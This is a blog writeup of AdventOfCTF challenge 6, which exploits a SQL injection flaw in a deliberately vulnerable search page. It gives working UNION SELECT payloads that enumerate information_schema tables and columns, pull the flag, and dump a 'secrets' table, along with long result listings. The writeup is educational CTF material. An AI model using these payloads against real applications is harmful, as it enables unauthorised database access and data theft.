+++ author = "Maik de Kruif" title = "Challenge 6 - AdventOfCTF" date = 2020-12-06T15:24:45+01:00 description = "A writeup for challenge 6 of AdventOfCTF." cover = "img/adventofctf/c366d63edd4a35c9f8bea89e57401fef.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "sql-injection", ] categories = [ "ctf", "writeups", "hacking", ] +++ - Points: 600 ## Description Search Santa's database of big secrets, you will probably find something useful. Visit to start the challenge. ## Finding the vulnerability When opening the challenge website, we see a search bar. The description mentions a database so the search text is probably converted to a database query. The header also mentions that only the first 5 characters of each secret is shown. Let's try searching for "flag". This returns a table with one row: | id | Description | Proof | | --- | ------------- | ------------ | | 3 | Adven-------- | FLAG ------- | Now let's try entering a quote (`'`). Hmm, now we get an empty table. Let's try some text with a quote. Now we get a MySQL error: ```text Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''%'' at line 1 ``` This means we can probably do some SQL injection. ### SQL Injection As we can see the result of the query on the screen, it's a little easier that last time. Firstly, let's think of what the query might be. It could be something like this: ```sql SELECT id, descr, proof FROM santabase WHERE descr LIKE '%search text%' OR proof LIKE '%search text%' ``` If this were the query, we could use a `UNION SELECT` to add our own query. Let's try getting the table names. I came up with the following query: ```sql UNION SELECT table_name, 2, 3 FROM information_schema.tables ``` The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this: ```sql SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' ``` As you can see the string is escaped and the result of this query will have the result of our query at the end. When submitting it I got the following result: {{< code language="text" title="Result" >}} ```markdown | id | Description | Proof | | -------------------------------------------------- | ------------- | ------------ | | 1 | Acces-------- | The a------- | | 2 | KFC R-------- | The 1------- | | 3 | Adven-------- | FLAG ------- | | 4 | The d-------- | Do yo------- | | ALL_PLUGINS | 2-------- | 3------- | | APPLICABLE_ROLES | 2-------- | 3------- | | CHARACTER_SETS | 2-------- | 3------- | | CHECK_CONSTRAINTS | 2-------- | 3------- | | COLLATIONS | 2-------- | 3------- | | COLLATION_CHARACTER_SET_APPLICABILITY | 2-------- | 3------- | | COLUMNS | 2-------- | 3------- | | COLUMN_PRIVILEGES | 2-------- | 3------- | | ENABLED_ROLES | 2-------- | 3------- | | ENGINES | 2-------- | 3------- | | EVENTS | 2-------- | 3------- | | FILES | 2-------- | 3------- | | GLOBAL_STATUS | 2-------- | 3------- | | GLOBAL_VARIABLES | 2-------- | 3------- | | KEY_CACHES | 2-------- | 3------- | | KEY_COLUMN_USAGE | 2-------- | 3------- | | PARAMETERS | 2-------- | 3------- | | PARTITIONS | 2-------- | 3------- | | PLUGINS | 2-------- | 3------- | | PROCESSLIST | 2-------- | 3------- | | PROFILING | 2-------- | 3------- | | REFERENTIAL_CONSTRAINTS | 2-------- | 3------- | | ROUTINES | 2-------- | 3------- | | SCHEMATA | 2-------- | 3------- | | SCHEMA_PRIVILEGES | 2-------- | 3------- | | SESSION_STATUS | 2-------- | 3------- | | SESSION_VARIABLES | 2-------- | 3------- | | STATISTICS | 2-------- | 3------- | | SYSTEM_VARIABLES | 2-------- | 3------- | | TABLES | 2-------- | 3------- | | TABLESPACES | 2-------- | 3------- | | TABLE_CONSTRAINTS | 2-------- | 3------- | | TABLE_PRIVILEGES | 2-------- | 3------- | | TRIGGERS | 2-------- | 3------- | | USER_PRIVILEGES | 2-------- | 3------- | | VIEWS | 2-------- | 3------- | | GEOMETRY_COLUMNS | 2-------- | 3------- | | SPATIAL_REF_SYS | 2-------- | 3------- | | CLIENT_STATISTICS | 2-------- | 3------- | | INDEX_STATISTICS | 2-------- | 3------- | | INNODB_SYS_DATAFILES | 2-------- | 3------- | | USER_STATISTICS | 2-------- | 3------- | | INNODB_SYS_TABLESTATS | 2-------- | 3------- | | INNODB_LOCKS | 2-------- | 3------- | | INNODB_MUTEXES | 2-------- | 3------- | | INNODB_CMPMEM | 2-------- | 3------- | | INNODB_CMP_PER_INDEX | 2-------- | 3------- | | INNODB_CMP | 2-------- | 3------- | | INNODB_FT_DELETED | 2-------- | 3------- | | INNODB_CMP_RESET | 2-------- | 3------- | | INNODB_LOCK_WAITS | 2-------- | 3------- | | TABLE_STATISTICS | 2-------- | 3------- | | INNODB_TABLESPACES_ENCRYPTION | 2-------- | 3------- | | INNODB_BUFFER_PAGE_LRU | 2-------- | 3------- | | INNODB_SYS_FIELDS | 2-------- | 3------- | | INNODB_CMPMEM_RESET | 2-------- | 3------- | | INNODB_SYS_COLUMNS | 2-------- | 3------- | | INNODB_FT_INDEX_TABLE | 2-------- | 3------- | | INNODB_CMP_PER_INDEX_RESET | 2-------- | 3------- | | user_variables | 2-------- | 3------- | | INNODB_FT_INDEX_CACHE | 2-------- | 3------- | | INNODB_SYS_FOREIGN_COLS | 2-------- | 3------- | | INNODB_FT_BEING_DELETED | 2-------- | 3------- | | INNODB_BUFFER_POOL_STATS | 2-------- | 3------- | | INNODB_TRX | 2-------- | 3------- | | INNODB_SYS_FOREIGN | 2-------- | 3------- | | INNODB_SYS_TABLES | 2-------- | 3------- | | INNODB_FT_DEFAULT_STOPWORD | 2-------- | 3------- | | INNODB_FT_CONFIG | 2-------- | 3------- | | INNODB_BUFFER_PAGE | 2-------- | 3------- | | INNODB_SYS_TABLESPACES | 2-------- | 3------- | | INNODB_METRICS | 2-------- | 3------- | | INNODB_SYS_INDEXES | 2-------- | 3------- | | INNODB_SYS_VIRTUAL | 2-------- | 3------- | | INNODB_TABLESPACES_SCRUBBING | 2-------- | 3------- | | INNODB_SYS_SEMAPHORE_WAITS | 2-------- | 3------- | | plugin | 2-------- | 3------- | | db | 2-------- | 3------- | | column_stats | 2-------- | 3------- | | time_zone_name | 2-------- | 3------- | | help_topic | 2-------- | 3------- | | table_stats | 2-------- | 3------- | | time_zone_transition | 2-------- | 3------- | | user | 2-------- | 3------- | | help_relation | 2-------- | 3------- | | host | 2-------- | 3------- | | index_stats | 2-------- | 3------- | | slow_log | 2-------- | 3------- | | tables_priv | 2-------- | 3------- | | proxies_priv | 2-------- | 3------- | | columns_priv | 2-------- | 3------- | | event | 2-------- | 3------- | | general_log | 2-------- | 3------- | | innodb_index_stats | 2-------- | 3------- | | time_zone_transition_type | 2-------- | 3------- | | procs_priv | 2-------- | 3------- | | time_zone_leap_second | 2-------- | 3------- | | gtid_slave_pos | 2-------- | 3------- | | innodb_table_stats | 2-------- | 3------- | | time_zone | 2-------- | 3------- | | help_keyword | 2-------- | 3------- | | transaction_registry | 2-------- | 3------- | | servers | 2-------- | 3------- | | roles_mapping | 2-------- | 3------- | | proc | 2-------- | 3------- | | func | 2-------- | 3------- | | help_category | 2-------- | 3------- | | cond_instances | 2-------- | 3------- | | events_waits_current | 2-------- | 3------- | | events_waits_history | 2-------- | 3------- | | events_waits_history_long | 2-------- | 3------- | | events_waits_summary_by_host_by_event_name | 2-------- | 3------- | | events_waits_summary_by_instance | 2-------- | 3------- | | events_waits_summary_by_thread_by_event_name | 2-------- | 3------- | | events_waits_summary_by_user_by_event_name | 2-------- | 3------- | | events_waits_summary_by_account_by_event_name | 2-------- | 3------- | | events_waits_summary_global_by_event_name | 2-------- | 3------- | | file_instances | 2-------- | 3------- | | file_summary_by_event_name | 2-------- | 3------- | | file_summary_by_instance | 2-------- | 3------- | | host_cache | 2-------- | 3------- | | mutex_instances | 2-------- | 3------- | | objects_summary_global_by_type | 2-------- | 3------- | | performance_timers | 2-------- | 3------- | | rwlock_instances | 2-------- | 3------- | | setup_actors | 2-------- | 3------- | | setup_consumers | 2-------- | 3------- | | setup_instruments | 2-------- | 3------- | | setup_objects | 2-------- | 3------- | | setup_timers | 2-------- | 3------- | | table_io_waits_summary_by_index_usage | 2-------- | 3------- | | table_io_waits_summary_by_table | 2-------- | 3------- | | table_lock_waits_summary_by_table | 2-------- | 3------- | | threads | 2-------- | 3------- | | events_stages_current | 2-------- | 3------- | | events_stages_history | 2-------- | 3------- | | events_stages_history_long | 2-------- | 3------- | | events_stages_summary_by_thread_by_event_name | 2-------- | 3------- | | events_stages_summary_by_account_by_event_name | 2-------- | 3------- | | events_stages_summary_by_user_by_event_name | 2-------- | 3------- | | events_stages_summary_by_host_by_event_name | 2-------- | 3------- | | events_stages_summary_global_by_event_name | 2-------- | 3------- | | events_statements_current | 2-------- | 3------- | | events_statements_history | 2-------- | 3------- | | events_statements_history_long | 2-------- | 3------- | | events_statements_summary_by_thread_by_event_name | 2-------- | 3------- | | events_statements_summary_by_account_by_event_name | 2-------- | 3------- | | events_statements_summary_by_user_by_event_name | 2-------- | 3------- | | events_statements_summary_by_host_by_event_name | 2-------- | 3------- | | events_statements_summary_global_by_event_name | 2-------- | 3------- | | events_statements_summary_by_digest | 2-------- | 3------- | | users | 2-------- | 3------- | | accounts | 2-------- | 3------- | | hosts | 2-------- | 3------- | | socket_instances | 2-------- | 3------- | | socket_summary_by_instance | 2-------- | 3------- | | socket_summary_by_event_name | 2-------- | 3------- | | session_connect_attrs | 2-------- | 3------- | | session_account_connect_attrs | 2-------- | 3------- | | flags | 2-------- | 3------- | | secrets | 2-------- | 3------- | ``` {{< /code >}} ## Solution The flags table at the bottom looks interesting. Let's grab it's contents. To get it's contents, I came up with the following query: ```sql UNION SELECT (SELECT * FROM flags), 2, 3 ``` This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `. After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`. \*Note: this only works if a table has only one column, if it has more, you have to get the columns first. See the [Getting the secrets]({{< ref "#getting-the-secrets" >}}) for more info about that. This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#6-7). _For more information about how SQL injection works, please read my [previous post]({{< ref "challenge_5.md" >}})._ ## (Optional) Getting the secrets 😋 {#getting-the-secrets} Because the `secrets` table a more than one column, we need to know the column names first. We can get them with the following query: ```sql UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" ``` Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `. After remove the results from the original query, we get the following: | id | Description | Proof | | ----------- | ----------- | -------- | | id | 2-------- | 3------- | | description | 2-------- | 3------- | | proof | 2-------- | 3------- | We can then put these column names in our query: ```sql UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets ``` The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters. This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input. After parsing the output we get: | id | Description | Proof | | --- | ------------------------ | ------------------------------------------------------------------------------------------------------------------- | | 1 | Access codes for Area 51 | The access code is 1234 | | 2 | KFC Recipe | The 10 spices are in the diary on page 658 | | 3 | Advent of Code | FLAG are such a good thing to find, but this is not it. I do really love that you are playing the game! Keep it up. | | 4 | The door | Do you know where that one door leads? It leads to the basement! |